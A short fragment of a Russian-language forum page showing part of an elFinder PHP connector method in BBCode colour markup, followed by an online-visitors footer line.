!![/COLOR][COLOR="#0000BB"]$src[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'debug'[/COLOR][COLOR="#007700"]] :[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]output[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]elFinder[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]exec[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$cmd[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]input_filter[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$args[/COLOR][COLOR="#007700"]))); } [/COLOR][/COLOR]
|
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|